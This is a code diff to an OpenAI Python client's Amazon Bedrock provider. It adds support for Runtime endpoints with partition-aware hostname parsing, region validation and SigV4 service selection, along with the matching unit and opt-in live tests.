region_source: Literal["explicit", "environment", "profile"] = "explicit"
profile: str | None = None
access_key_id: str | None = field(default=None, repr=False)
@@ -87,6 +88,7 @@ def resolve(
secret_access_key: str | None,
session_token: str | None,
credentials_provider: AwsCredentialsProvider | None,
+ service: Literal["bedrock-mantle", "bedrock"] = "bedrock-mantle",
) -> BedrockAwsAuth:
_, _, _, session_cls = _load_botocore()
@@ -114,6 +116,7 @@ def resolve(
config = BedrockAwsAuthConfig(
region=resolved_region,
source=source,
+ service=service,
region_source=region_source,
profile=profile,
access_key_id=access_key_id,
@@ -151,7 +154,7 @@ def sign(self, *, method: str, url: str, headers: Mapping[str, str], body: bytes
data=body,
headers=signed_headers,
)
- self._sigv4_auth_cls(credentials, "bedrock-mantle", self.config.region).add_auth(aws_request)
+ self._sigv4_auth_cls(credentials, self.config.service, self.config.region).add_auth(aws_request)
except OpenAIError:
raise
except Exception as exc:
diff --git a/src/openai/lib/bedrock.py b/src/openai/lib/bedrock.py
index 25a4a56453..53461f4b40 100644
--- a/src/openai/lib/bedrock.py
+++ b/src/openai/lib/bedrock.py
@@ -1,7 +1,6 @@
from __future__ import annotations
import os
-import re
import hashlib
import inspect
from typing import Any, Literal, Mapping, Callable, Optional, Awaitable, cast
@@ -14,11 +13,17 @@
from .._types import NOT_GIVEN, Timeout, NotGiven
from .._utils import is_given
from .._client import OpenAI, AsyncOpenAI
+from .._httpx2 import normalize_httpx_url
from .._models import FinalRequestOptions
from .._provider import _Provider, _configure_provider
from .._exceptions import OpenAIError
from .._base_client import DEFAULT_MAX_RETRIES
-from ..providers.bedrock import AwsCredentialsProvider, bedrock, _BedrockProviderRuntime
+from ..providers.bedrock import (
+ AwsCredentialsProvider,
+ bedrock,
+ _BedrockProviderRuntime,
+ _parse_bedrock_endpoint_hostname,
+)
BedrockTokenProvider = Callable[[], str]
AsyncBedrockTokenProvider = Callable[[], "str | Awaitable[str]"]
@@ -71,6 +76,13 @@ def _configured_region(region: str | None) -> str | None:
return configured.strip() if configured is not None and configured.strip() else None
+def _legacy_endpoint(base_url: str | httpx2.URL | None | NotGiven) -> Literal["mantle"] | None:
+ configured = os.environ.get("AWS_BEDROCK_BASE_URL") if isinstance(base_url, NotGiven) else base_url
+ if configured is None or isinstance(configured, str) and not configured.strip():
+ return None
+ return None if _parse_bedrock_endpoint_hostname(normalize_httpx_url(configured).host) is not None else "mantle"
+
+
def _uses_region_derived_base_url(base_url: str | httpx2.URL | None) -> bool:
if isinstance(base_url, str) and not base_url.strip():
base_url = None
@@ -163,6 +175,7 @@ def _legacy_provider(
provider_base_url = base_url
provider = bedrock(
+ endpoint=_legacy_endpoint(provider_base_url),
region=aws_region,
base_url=provider_base_url,
api_key=api_key if api_key is not None else environment_token if uses_environment_bearer else NOT_GIVEN,
@@ -267,6 +280,14 @@ def _copy_configuration(
next_region = aws_region if aws_region is not None else client.aws_region
next_region_was_explicit = aws_region is not None or state.region_was_explicit
+ restores_region_derived_base_url = isinstance(base_url, str) and not base_url.strip()
+ if (
+ (next_api_key is not None or next_token_provider is not None)
+ and not next_region_was_explicit
+ and not restores_region_derived_base_url
+ and (base_url is not None or not state.uses_region_derived_base_url)
+ ):
+ next_region = None
if aws_profile is not None and aws_region is None and not state.region_was_explicit:
next_region = None
@@ -317,23 +338,27 @@ def _provider_for_legacy_client(
configuration: _LegacyAuthConfiguration,
) -> _Provider:
mode, credential = configuration
+ state = client._bedrock_state
+ bearer_region = client.aws_region if state.region_was_explicit else None
if mode == "bearer":
if not isinstance(credential, str) or not credential:
raise OpenAIError("The Bedrock bearer credential must not be empty.")
return bedrock(
- region=client.aws_region,
+ endpoint=_legacy_endpoint(client.base_url),
+ region=bearer_region,
base_url=client.base_url,
api_key=credential,
)
if mode == "token_provider":
return bedrock(
- region=client.aws_region,
+ endpoint=_legacy_endpoint(client.base_url),
+ region=bearer_region,
base_url=client.base_url,
token_provider=cast("AsyncBedrockTokenProvider", credential),
)
- state = client._bedrock_state
return bedrock(
+ endpoint=_legacy_endpoint(client.base_url),
region=client.aws_region,
base_url=client.base_url,
profile=state.aws_profile,
@@ -458,14 +483,12 @@ def __init__(
self._bedrock_state = _state
self._bedrock_token_provider = cast("BedrockTokenProvider | None", _state.token_provider)
self._uses_region_derived_base_url = _state.uses_region_derived_base_url
- canonical_region = re.fullmatch(r"bedrock-mantle\.([a-z0-9-]+)\.api\.aws", self.base_url.host)
+ canonical_endpoint = _parse_bedrock_endpoint_hostname(self.base_url.host)
provider_region = (
self._provider_runtime.region if isinstance(self._provider_runtime, _BedrockProviderRuntime) else None
)
self.aws_region = (
- _state.aws_region
- or provider_region
- or (canonical_region.group(1) if canonical_region is not None else None)
+ _state.aws_region or provider_region or (canonical_endpoint[1] if canonical_endpoint is not None else None)
)
self._bedrock_state = replace(_state, aws_region=self.aws_region)
self.api_key = public_api_key or ""
@@ -692,14 +715,12 @@ def __init__(
self._bedrock_state = _state
self._bedrock_token_provider = cast("AsyncBedrockTokenProvider | None", _state.token_provider)
self._uses_region_derived_base_url = _state.uses_region_derived_base_url
- canonical_region = re.fullmatch(r"bedrock-mantle\.([a-z0-9-]+)\.api\.aws", self.base_url.host)
+ canonical_endpoint = _parse_bedrock_endpoint_hostname(self.base_url.host)
provider_region = (
self._provider_runtime.region if isinstance(self._provider_runtime, _BedrockProviderRuntime) else None
)
self.aws_region = (
- _state.aws_region
- or provider_region
- or (canonical_region.group(1) if canonical_region is not None else None)
+ _state.aws_region or provider_region or (canonical_endpoint[1] if canonical_endpoint is not None else None)
)
self._bedrock_state = replace(_state, aws_region=self.aws_region)
self.api_key = public_api_key or ""
diff --git a/src/openai/providers/bedrock.py b/src/openai/providers/bedrock.py
index e6dafaeaf2..1912df1f37 100644
--- a/src/openai/providers/bedrock.py
+++ b/src/openai/providers/bedrock.py
@@ -21,9 +21,10 @@
)
BedrockTokenProvider = Callable[[], "str | Awaitable[str]"]
+BedrockEndpoint = Literal["mantle", "runtime"]
_AWS_SIGNING_HEADERS = ("authorization", "x-amz-content-sha256", "x-amz-date", "x-amz-security-token")
-_CANONICAL_BEDROCK_HOST = re.compile(r"^bedrock-mantle\.([a-z0-9-]+)\.api\.aws$", re.IGNORECASE)
+_AWS_REGION = re.compile(r"^[a-z]{2,8}(?:-[a-z0-9]+)+-\d+$")
def _normalize_optional_string(value: str | None) -> str | None:
@@ -44,6 +45,70 @@ def _normalize_base_url(base_url: str | httpx2.URL) -> httpx2.URL:
return url.copy_with(path=path or "/")
+def _runtime_dns_suffixes(region: str) -> tuple[str, str]:
+ if region.startswith("cn-"):
+ return "amazonaws.com.cn", "api.amazonwebservices.com.cn"
+ if region.startswith("eusc-"):
+ return "amazonaws.eu", "api.amazonwebservices.eu"
+ if region.startswith("us-iso-"):
+ return "c2s.ic.gov", "api.aws.ic.gov"
+ if region.startswith("us-isob-"):
+ return "sc2s.sgov.gov", "api.aws.scloud"
+ if region.startswith("eu-isoe-"):
+ return "cloud.adc-e.uk", "api.cloud-aws.adc-e.uk"
+ if region.startswith("us-isof-"):
+ return "csp.hci.ic.gov", "api.aws.hci.ic.gov"
+ return "amazonaws.com", "api.aws"
+
+
+def _parse_bedrock_endpoint_hostname(hostname: str) -> tuple[BedrockEndpoint, str] | None:
+ service, separator, remainder = hostname.removesuffix(".").lower().partition(".")
+ region, region_separator, suffix = remainder.partition(".")
+ if not separator or not region_separator or _AWS_REGION.fullmatch(region) is None:
+ return None
+
+ if service == "bedrock-mantle" and suffix == "api.aws":
+ return "mantle", region
+ if service in {"bedrock-runtime", "bedrock-runtime-fips"} and suffix in _runtime_dns_suffixes(region):
+ return "runtime", region
+ return None
+
+
+def _validate_bedrock_region(region: str | None) -> None:
+ if region is not None and _AWS_REGION.fullmatch(region) is None:
+ raise OpenAIError("The Bedrock AWS `region` is invalid. Use a standard AWS region such as `us-east-1`.")
+
+
+def _validate_canonical_bedrock_endpoint(
+ base_url: httpx2.URL, *, endpoint: BedrockEndpoint, region: str | None
+) -> None:
+ canonical_endpoint = _parse_bedrock_endpoint_hostname(base_url.host)
+ if canonical_endpoint is None:
+ return
+
+ canonical_family, canonical_region = canonical_endpoint
+ if base_url.scheme != "https":
+ raise OpenAIError("Canonical Amazon Bedrock endpoints require HTTPS.")
+ if canonical_family != endpoint:
+ raise OpenAIError(
+ f"The Bedrock {canonical_family} hostname does not match the selected `{endpoint}` endpoint. "
+ f"Set `endpoint='{canonical_family}'` to use this hostname."
+ )
+ if region is not None and canonical_region != region:
+ raise OpenAIError(
+ f"The Bedrock endpoint region `{canonical_region}` does not match the configured AWS region `{region}`."
+ )
+
+
+def _default_bedrock_base_url(endpoint: BedrockEndpoint, region: str) -> httpx2.URL:
+ hostname = (
+ f"bedrock-runtime.{region}.{_runtime_dns_suffixes(region)[0]}"
+ if endpoint == "runtime"
+ else f"bedrock-mantle.{region}.api.aws"
+ )
+ return _normalize_base_url(f"https://{hostname}/openai/v1")
+
+
def _same_origin(left: httpx2.URL, right: httpx2.URL) -> bool:
return (left.scheme, left.host, left.port) == (right.scheme, right.host, right.port)
@@ -144,12 +209,18 @@ def _validate_request(self, request: httpx2.Request) -> bytes:
"Refusing to sign a Bedrock request for an origin other than the configured provider URL."
)
- endpoint_region_match = _CANONICAL_BEDROCK_HOST.fullmatch(request.url.host)
- if endpoint_region_match is not None and endpoint_region_match.group(1) != self._config.region:
- raise OpenAIError(
- f"The Bedrock endpoint region `{endpoint_region_match.group(1)}` does not match the "
- f"SigV4 region `{self._config.region}`."
- )
+ canonical_endpoint = _parse_bedrock_endpoint_hostname(request.url.host)
+ if canonical_endpoint is not None:
+ endpoint, region = canonical_endpoint
+ expected_endpoint = "runtime" if self._config.service == "bedrock" else "mantle"
+ if endpoint != expected_endpoint:
+ raise OpenAIError(
+ f"The Bedrock {endpoint} hostname does not match the selected `{expected_endpoint}` endpoint."
+ )
+ if region != self._config.region:
+ raise OpenAIError(
+ f"The Bedrock endpoint region `{region}` does not match the SigV4 region `{self._config.region}`."
+ )
return _body_for_signing(request)
@@ -196,6 +267,7 @@ class _BedrockProviderRuntime(_ProviderRuntime):
@dataclass(frozen=True)
class _BedrockProviderDefinition:
+ endpoint: BedrockEndpoint
configured_region: str | None
region_source: Literal["explicit", "environment"] | None
configured_base_url: httpx2.URL | None
@@ -224,6 +296,7 @@ def _resolve_aws_auth(self) -> tuple[BedrockAwsAuthConfig, BedrockAwsAuth | None
BedrockAwsAuthConfig(
region=self.configured_region,
source=self._aws_source(),
+ service="bedrock" if self.endpoint == "runtime" else "bedrock-mantle",
region_source=self.region_source or "explicit",
profile=self.profile,
access_key_id=self.access_key_id,
@@ -241,6 +314,7 @@ def _resolve_aws_auth(self) -> tuple[BedrockAwsAuthConfig, BedrockAwsAuth | None
secret_access_key=self.secret_access_key,
session_token=self.session_token,
credentials_provider=self.credential_provider,
+ service="bedrock" if self.endpoint == "runtime" else "bedrock-mantle",
)
return auth.config, auth
@@ -268,15 +342,15 @@ def environment_token() -> str:
else:
aws_config, aws_auth = self._resolve_aws_auth()
region = aws_config.region
- base_url = self.configured_base_url or _normalize_base_url(
- f"https://bedrock-mantle.{region}.api.aws/openai/v1"
- )
+ _validate_bedrock_region(region)
+ base_url = self.configured_base_url or _default_bedrock_base_url(self.endpoint, region)
+ _validate_canonical_bedrock_endpoint(base_url, endpoint=self.endpoint, region=region)
auth = _BedrockSigV4Auth(config=aws_config, base_url=base_url, auth=aws_auth)
if self.configured_base_url is not None:
base_url = self.configured_base_url
elif region is not None:
- base_url = _normalize_base_url(f"https://bedrock-mantle.{region}.api.aws/openai/v1")
+ base_url = _default_bedrock_base_url(self.endpoint, region)
else:
raise OpenAIError(
"Bedrock requires an AWS region. Pass `region` to `bedrock(...)`, or set `AWS_REGION` or "
@@ -308,6 +382,7 @@ def environment_token() -> str:
def bedrock(
*,
+ endpoint: BedrockEndpoint | None = None,
region: str | None = None,
base_url: str | httpx2.URL | None | NotGiven = NOT_GIVEN,
api_key: str | None | NotGiven = NOT_GIVEN,
@@ -318,21 +393,17 @@ def bedrock(
profile: str | None = None,
credential_provider: AwsCredentialsProvider | None = None,
) -> _Provider:
- """Configure the standard OpenAI client for Amazon Bedrock Mantle."""
+ """Configure the standard OpenAI client for Amazon Bedrock Mantle or Runtime."""
+
+ if endpoint is not None and endpoint not in {"mantle", "runtime"}:
+ raise OpenAIError("The Bedrock `endpoint` must be either `mantle` or `runtime`.")
normalized_region = _normalize_optional_string(region)
if region is not None and normalized_region is None:
raise OpenAIError("The Bedrock AWS `region` must not be empty.")
+ _validate_bedrock_region(normalized_region)
- region_source: Literal["explicit", "environment"] | None = None
- if normalized_region is not None:
- region_source = "explicit"
- else:
- normalized_region = _normalize_optional_string(
- os.environ.get("AWS_REGION") or os.environ.get("AWS_DEFAULT_REGION")
- )
- if normalized_region is not None:
- region_source = "environment"
+ region_source: Literal["explicit", "environment"] | None = "explicit" if normalized_region is not None else None
configured_base_url: httpx2.URL | None
if isinstance(base_url, NotGiven):
@@ -345,6 +416,13 @@ def bedrock(
raise OpenAIError("The Bedrock `base_url` must not be empty.")
configured_base_url = _normalize_base_url(base_url)
+ canonical_endpoint = (
+ _parse_bedrock_endpoint_hostname(configured_base_url.host) if configured_base_url is not None else None
+ )
+ resolved_endpoint: BedrockEndpoint = endpoint or (
+ canonical_endpoint[0] if canonical_endpoint is not None else "mantle"
+ )
+
normalized_profile = _normalize_optional_string(profile)
if profile is not None and normalized_profile is None:
raise OpenAIError("The Bedrock AWS `profile` must not be empty.")
@@ -392,8 +470,20 @@ def bedrock(
and bool(os.environ.get("AWS_BEARER_TOKEN_BEDROCK"))
)
+ if normalized_region is None and (configured_base_url is None or not (explicit_bearer or use_environment_bearer)):
+ normalized_region = _normalize_optional_string(
+ os.environ.get("AWS_REGION") or os.environ.get("AWS_DEFAULT_REGION")
+ )
+ _validate_bedrock_region(normalized_region)
+ if normalized_region is not None:
+ region_source = "environment"
+
+ if configured_base_url is not None:
+ _validate_canonical_bedrock_endpoint(configured_base_url, endpoint=resolved_endpoint, region=normalized_region)
+
return _create_provider(
_BedrockProviderDefinition(
+ endpoint=resolved_endpoint,
configured_region=normalized_region,
region_source=region_source,
configured_base_url=configured_base_url,
@@ -409,4 +499,4 @@ def bedrock(
)
-__all__ = ["bedrock", "BedrockTokenProvider", "AwsCredentialsProvider"]
+__all__ = ["bedrock", "BedrockEndpoint", "BedrockTokenProvider", "AwsCredentialsProvider"]
diff --git a/tests/lib/bedrock_live.py b/tests/lib/bedrock_live.py
index 95c1a71c1d..56a54d683f 100644
--- a/tests/lib/bedrock_live.py
+++ b/tests/lib/bedrock_live.py
@@ -1,38 +1,38 @@
-"""Opt-in live test for the Amazon Bedrock provider.
-
-This file is intentionally named ``bedrock_live.py`` so the standard pytest
-suite does not collect it. Run it explicitly with:
+"""Explicitly opt-in live coverage for Amazon Bedrock Mantle and Runtime.
+BEDROCK_LIVE_TEST=1 BEDROCK_LIVE_ENDPOINT=runtime AWS_REGION=us-west-2 \
rye run pytest -q -s tests/lib/bedrock_live.py
-The test loads ``.env`` from the repository root when it exists. Set
-``BEDROCK_LIVE_ENV_FILE`` to load a different file. Existing environment
-variables take precedence over values from the file.
-
-Useful environment variables:
-
-- ``BEDROCK_LIVE_MODEL`` (defaults to ``openai.gpt-oss-120b``)
-- ``BEDROCK_LIVE_REGION`` (otherwise uses the normal AWS region chain)
-- ``BEDROCK_LIVE_PROFILE`` (otherwise uses the normal AWS credential chain)
-- ``AWS_BEDROCK_BASE_URL`` (required; GPT-OSS uses the ``/v1`` endpoint)
+Runtime defaults to the three US GPT-5.6 inference profiles. Override them with
+``BEDROCK_LIVE_MODEL`` or comma-separated ``BEDROCK_LIVE_MODELS``. Select one
+authentication mode with ``BEDROCK_LIVE_AUTH`` or several with comma-separated
+``BEDROCK_LIVE_AUTHS``. Supported modes are ``bearer``, ``environment-bearer``,
+``token-provider``, ``default-chain``, ``profile``, and ``static``.
-The normal AWS environment variables, shared config, credential-process, SSO,
-and workload credential sources are resolved by botocore. The test explicitly
-disables the ``AWS_BEARER_TOKEN_BEDROCK`` fallback so a passing run proves that
-AWS credentials and SigV4 signing worked.
+Set ``BEDROCK_LIVE_STREAM=1`` to exercise streaming and
+``BEDROCK_LIVE_RESPONSES=1`` to include Runtime Responses. Mantle retains its
+existing Responses test and requires an explicit ``AWS_BEDROCK_BASE_URL``.
"""
from __future__ import annotations
import os
import re
+from typing import Literal, cast
from pathlib import Path
from openai import OpenAI
+from openai._provider import _Provider
from openai.providers import bedrock
_REPOSITORY_ROOT = Path(__file__).resolve().parents[2]
_ENV_NAME = re.compile(r"[A-Za-z_][A-Za-z0-9_]*")
+_RUNTIME_MODELS = (
+ "us.openai.gpt-5.6-sol",
+ "us.openai.gpt-5.6-terra",
+ "us.openai.gpt-5.6-luna",
+)
+_AUTH_MODES = {"bearer", "environment-bearer", "token-provider", "default-chain", "profile", "static"}
def _load_env_file() -> None:
@@ -67,34 +67,119 @@ def _load_env_file() -> None:
_load_env_file()
+def _required_environment(name: str) -> str:
+ value = os.environ.get(name)
+ if value is None or not value.strip():
+ raise RuntimeError(f"Set {name} before running the Bedrock live test.")
+ return value.strip()
+
+
+def _live_provider(
+ *, endpoint: Literal["mantle", "runtime"], authentication: str, region: str | None, base_url: str | None
+) -> _Provider:
+ profile = os.environ.get("BEDROCK_LIVE_PROFILE") or os.environ.get("AWS_PROFILE") or None
+ if authentication == "bearer":
+ return bedrock(
+ endpoint=endpoint,
+ region=region,
+ base_url=base_url,
+ api_key=_required_environment("AWS_BEARER_TOKEN_BEDROCK"),
+ )
+ if authentication == "environment-bearer":
+ _required_environment("AWS_BEARER_TOKEN_BEDROCK")
+ return bedrock(endpoint=endpoint, region=region, base_url=base_url)
+ if authentication == "token-provider":
+ return bedrock(
+ endpoint=endpoint,
+ region=region,
+ base_url=base_url,
+ token_provider=lambda: _required_environment("AWS_BEARER_TOKEN_BEDROCK"),
+ )
+ if authentication == "profile":
+ if profile is None:
+ raise RuntimeError("Set BEDROCK_LIVE_PROFILE or AWS_PROFILE before testing profile authentication.")
+ return bedrock(endpoint=endpoint, region=region, base_url=base_url, profile=profile, api_key=None)
+ if authentication == "static":
+ return bedrock(
+ endpoint=endpoint,
+ region=region,
+ base_url=base_url,
+ access_key_id=_required_environment("AWS_ACCESS_KEY_ID"),
+ secret_access_key=_required_environment("AWS_SECRET_ACCESS_KEY"),
+ session_token=os.environ.get("AWS_SESSION_TOKEN") or None,
+ )
+ return bedrock(endpoint=endpoint, region=region, base_url=base_url, profile=profile, api_key=None)
+
+
def test_bedrock_live_response() -> None:
- model = os.environ.get("BEDROCK_LIVE_MODEL") or "openai.gpt-oss-120b"
+ if os.environ.get("BEDROCK_LIVE_TEST") != "1":
+ raise RuntimeError("Refusing live AWS requests. Set BEDROCK_LIVE_TEST=1 to run this test.")
+
+ configured_endpoint = os.environ.get("BEDROCK_LIVE_ENDPOINT", "mantle")
+ if configured_endpoint not in {"mantle", "runtime"}:
+ raise RuntimeError("BEDROCK_LIVE_ENDPOINT must be 'mantle' or 'runtime'.")
+ endpoint = cast("Literal['mantle', 'runtime']", configured_endpoint)
region = os.environ.get("BEDROCK_LIVE_REGION") or None
- profile = os.environ.get("BEDROCK_LIVE_PROFILE") or None
base_url = os.environ.get("AWS_BEDROCK_BASE_URL") or None
- if base_url is None:
+ if endpoint == "mantle" and base_url is None:
raise RuntimeError(
"Set AWS_BEDROCK_BASE_URL to the Bedrock GPT-OSS endpoint, for example "
"https://bedrock-mantle.us-west-2.api.aws/v1."
)
- with OpenAI(
- provider=bedrock(
- region=region,
- profile=profile,
- base_url=base_url,
- api_key=None,
- ),
- timeout=60,
- max_retries=2,
- ) as client:
- response = client.responses.create(
- model=model,
- input="Reply with exactly: bedrock live test ok",
- store=False,
- )
-
- output_text = response.output_text.strip()
- assert output_text, f"Bedrock returned no output text for response {response.id}"
- assert "bedrock live test ok" in output_text.lower()
- print(f"Bedrock live response {response.id}: {output_text}")
+ configured_models = os.environ.get("BEDROCK_LIVE_MODELS") or os.environ.get("BEDROCK_LIVE_MODEL")
+ models = (
+ tuple(model.strip() for model in configured_models.split(",") if model.strip())
+ if configured_models
+ else _RUNTIME_MODELS
+ if endpoint == "runtime"
+ else ("openai.gpt-oss-120b",)
+ )
+ if not models:
+ raise RuntimeError("Set at least one Bedrock model or inference-profile ID.")
+ configured_auth = os.environ.get("BEDROCK_LIVE_AUTHS") or os.environ.get("BEDROCK_LIVE_AUTH", "default-chain")
+ authentication_modes = tuple(mode.strip() for mode in configured_auth.split(",") if mode.strip())
+ invalid_modes = set(authentication_modes) - _AUTH_MODES
+ if not authentication_modes or invalid_modes:
+ raise RuntimeError(f"Unsupported Bedrock live authentication mode(s): {', '.join(sorted(invalid_modes))}.")
+
+ stream = os.environ.get("BEDROCK_LIVE_STREAM") == "1"
+ run_responses = endpoint == "mantle" or os.environ.get("BEDROCK_LIVE_RESPONSES") == "1"
+ for authentication in authentication_modes:
+ provider = _live_provider(endpoint=endpoint, authentication=authentication, region=region, base_url=base_url)
+ with OpenAI(provider=provider, timeout=60, max_retries=2) as client:
+ for model in models:
+ if endpoint == "runtime":
+ completion = client.chat.completions.create(
+ model=model,
+ messages=[{"role": "user", "content": "Reply with exactly: bedrock live test ok"}],
+ )
+ assert completion.choices[0].message.content
+ assert completion.choices[0].finish_reason
+ assert completion.usage is not None
+ print(f"Bedrock Runtime {authentication} chat {completion.id}: {model}")
+
+ if stream:
+ chat_stream = client.chat.completions.create(
+ model=model,
+ messages=[{"role": "user", "content": "Reply with exactly: bedrock live test ok"}],
+ stream=True,
+ )
+ chunks = list(chat_stream)
+ assert chunks and any(chunk.choices[0].delta.content for chunk in chunks if chunk.choices)
+ assert any(chunk.choices[0].finish_reason for chunk in chunks if chunk.choices)
+
+ if run_responses:
+ response = client.responses.create(
+ model=model, input="Reply with exactly: bedrock live test ok", store=False
+ )
+ assert response.output_text.strip(), f"Bedrock returned no output text for response {response.id}"
+ print(f"Bedrock {endpoint} {authentication} response {response.id}: {model}")
+
+ if stream:
+ events = list(
+ client.responses.create(
+ model=model, input="Reply with exactly: bedrock live test ok", store=False, stream=True
+ )
+ )
+ assert events and events[-1].type == "response.completed"
diff --git a/tests/lib/test_bedrock.py b/tests/lib/test_bedrock.py
index 96ebe80a10..903d53d63a 100644
--- a/tests/lib/test_bedrock.py
+++ b/tests/lib/test_bedrock.py
@@ -713,6 +713,56 @@ def test_blank_base_url_restores_region_derived_url_provenance(client_cls: type[
assert copied_client.base_url == URL("https://bedrock-mantle.eu-west-1.api.aws/openai/v1/")
+@pytest.mark.parametrize("client_cls", [BedrockOpenAI, AsyncBedrockOpenAI])
+@pytest.mark.parametrize("base_url", ["", " "], ids=["empty", "whitespace"])
+def test_blank_base_url_preserves_environment_derived_region(client_cls: type[Client], base_url: str) -> None:
+ with update_env(AWS_BEDROCK_BASE_URL=Omit(), AWS_REGION="us-west-2", AWS_DEFAULT_REGION=Omit()):
+ client = (
+ make_sync_client(base_url="https://custom.example/openai/v1", api_key="token")
+ if client_cls is BedrockOpenAI
+ else make_async_client(base_url="https://custom.example/openai/v1", api_key="token")
+ )
+
+ with update_env(AWS_BEDROCK_BASE_URL=Omit(), AWS_REGION=Omit(), AWS_DEFAULT_REGION=Omit()):
+ copied_client = client.with_options(base_url=base_url)
+
+ assert copied_client.aws_region == "us-west-2"
+ assert copied_client.base_url == URL("https://bedrock-mantle.us-west-2.api.aws/openai/v1/")
+ assert copied_client._bedrock_state.uses_region_derived_base_url
+ assert not copied_client._bedrock_state.region_was_explicit
+
+
+@pytest.mark.parametrize("client_cls", [BedrockOpenAI, AsyncBedrockOpenAI])
+@pytest.mark.parametrize("base_url", ["", " "], ids=["empty", "whitespace"])
+def test_blank_base_url_preserves_profile_derived_region_after_bearer_override(
+ client_cls: type[Client], base_url: str, tmp_path: Path
+) -> None:
+ config_path = tmp_path / "config"
+ config_path.write_text("[profile west]\nregion = us-west-2\n")
+
+ with update_env(
+ AWS_CONFIG_FILE=str(config_path),
+ AWS_PROFILE=Omit(),
+ AWS_BEARER_TOKEN_BEDROCK=Omit(),
+ AWS_BEDROCK_BASE_URL=Omit(),
+ AWS_REGION=Omit(),
+ AWS_DEFAULT_REGION=Omit(),
+ ):
+ client = (
+ make_sync_client(base_url="https://custom.example/openai/v1", aws_profile="west")
+ if client_cls is BedrockOpenAI
+ else make_async_client(base_url="https://custom.example/openai/v1", aws_profile="west")
+ )
+ copied_client = client.with_options(api_key="bearer token", base_url=base_url)
+
+ assert copied_client.aws_region == "us-west-2"
+ assert copied_client.base_url == URL("https://bedrock-mantle.us-west-2.api.aws/openai/v1/")
+ assert copied_client._bedrock_state.aws_profile is None
+ assert copied_client._bedrock_state.uses_region_derived_base_url
+ assert not copied_client._bedrock_state.region_was_explicit
+ assert not copied_client._uses_aws_auth()
+
+
@pytest.mark.parametrize("client_cls", [BedrockOpenAI, AsyncBedrockOpenAI])
def test_with_options_replaces_the_aws_credential_source(client_cls: type[Client], tmp_path: Path) -> None:
config_path = tmp_path / "config"
diff --git a/tests/lib/test_bedrock_runtime.py b/tests/lib/test_bedrock_runtime.py
new file mode 100644
index 0000000000..f0dcef2678
--- /dev/null
+++ b/tests/lib/test_bedrock_runtime.py
@@ -0,0 +1,718 @@
+from __future__ import annotations
+
+import sys
+import json
+from types import SimpleNamespace
+from typing import Any, Literal
+from pathlib import Path
+from typing_extensions import override
+
+import httpx2
+import pytest
+
+from openai import OpenAI, AsyncOpenAI, OpenAIError, NotFoundError
+from openai.providers import bedrock
+from openai.lib.bedrock import BedrockOpenAI, AsyncBedrockOpenAI
+
+_MODELS = (
+ "us.openai.gpt-5.6-sol",
+ "us.openai.gpt-5.6-terra",
+ "us.openai.gpt-5.6-luna",
+)
+_MODEL = _MODELS[0]
+_RUNTIME_URL = "https://bedrock-runtime.us-east-1.amazonaws.com/openai/v1"
+_PARTITIONS = [
+ ("mantle", "us-east-1", "api.aws", "api.aws"),
+ ("runtime", "us-east-1", "amazonaws.com", "api.aws"),
+ ("runtime", "cn-north-1", "amazonaws.com.cn", "api.amazonwebservices.com.cn"),
+ ("runtime", "eusc-de-east-1", "amazonaws.eu", "api.amazonwebservices.eu"),
+ ("runtime", "us-iso-east-1", "c2s.ic.gov", "api.aws.ic.gov"),
+ ("runtime", "us-isob-east-1", "sc2s.sgov.gov", "api.aws.scloud"),
+ ("runtime", "eu-isoe-west-1", "cloud.adc-e.uk", "api.cloud-aws.adc-e.uk"),
+ ("runtime", "us-isof-south-1", "csp.hci.ic.gov", "api.aws.hci.ic.gov"),
+]
+_AWS_ENVIRONMENT = (
+ "AWS_REGION",
+ "AWS_DEFAULT_REGION",
+ "AWS_BEDROCK_BASE_URL",
+ "AWS_BEARER_TOKEN_BEDROCK",
+ "AWS_ACCESS_KEY_ID",
+ "AWS_SECRET_ACCESS_KEY",
+ "AWS_SESSION_TOKEN",
+ "AWS_PROFILE",
+ "AWS_DEFAULT_PROFILE",
+)
+
+
+@pytest.fixture(autouse=True)
+def clean_aws_environment(monkeypatch: pytest.MonkeyPatch) -> None:
+ for name in _AWS_ENVIRONMENT:
+ monkeypatch.delenv(name, raising=False)
+ monkeypatch.setenv("AWS_EC2_METADATA_DISABLED", "true")
+
+
+def _provider(authentication: Literal["bearer", "sigv4"], **options: Any) -> Any:
+ if authentication == "bearer":
+ return bedrock(api_key="bedrock-token", **options)
+ return bedrock(access_key_id="access-key", secret_access_key="secret-key", **options)
+
+
+def _assert_authorization(request: httpx2.Request, authentication: str, *, service: str = "bedrock") -> None:
+ authorization = request.headers["Authorization"]
+ if authentication == "bearer":
+ assert authorization == "Bearer bedrock-token"
+ else:
+ assert f"/{service}/aws4_request" in authorization
+
+
+def _completion_body(
+ *, model: str = _MODEL, content: str = "Hello", finish_reason: str | None = "stop"
+) -> dict[str, Any]:
+ return {
+ "id": "chatcmpl_runtime",
+ "object": "chat.completion",
+ "created": 1,
+ "model": model,
+ "choices": [{"index": 0, "finish_reason": finish_reason, "message": {"role": "assistant", "content": content}}],
+ "usage": {"prompt_tokens": 4, "completion_tokens": 3, "total_tokens": 7},
+ }
+
+
+def _response_body(*, model: str = _MODEL) -> dict[str, Any]:
+ return {
+ "id": "resp_runtime",
+ "object": "response",
+ "model": model,
+ "status": "completed",
+ "output": [
+ {
+ "id": "msg_runtime",
+ "type": "message",
+ "role": "assistant",
+ "status": "completed",
+ "content": [{"type": "output_text", "text": "Hello", "annotations": []}],
+ }
+ ],
+ }
+
+
+def _sse(events: list[dict[str, Any] | str]) -> str:
+ return "".join(f"data: {event if isinstance(event, str) else json.dumps(event)}\n\n" for event in events)
+
+
+@pytest.mark.parametrize(("endpoint", "region", "suffix", "dual_stack_suffix"), _PARTITIONS)
+@pytest.mark.parametrize("authentication", ["bearer", "sigv4"])
+def test_canonical_endpoint_partitions_and_security(
+ endpoint: Literal["mantle", "runtime"],
+ region: str,
+ suffix: str,
+ dual_stack_suffix: str,
+ authentication: Literal["bearer", "sigv4"],
+) -> None:
+ default_client = OpenAI(provider=_provider(authentication, endpoint=endpoint, region=region))
+ assert default_client.base_url.host == f"bedrock-{endpoint}.{region}.{suffix}"
+
+ hostnames = (
+ [f"bedrock-mantle.{region}.{suffix}"]
+ if endpoint == "mantle"
+ else [
+ f"{service}.{region}.{dns_suffix}"
+ for dns_suffix in (suffix, dual_stack_suffix)
+ for service in ("bedrock-runtime", "bedrock-runtime-fips")
+ ]
+ )
+ for hostname in hostnames:
+ base_url = f"https://{hostname}./openai/v1"
+ client = OpenAI(provider=_provider(authentication, endpoint=endpoint, region=region, base_url=base_url))
+ assert client.base_url.host == f"{hostname}."
+
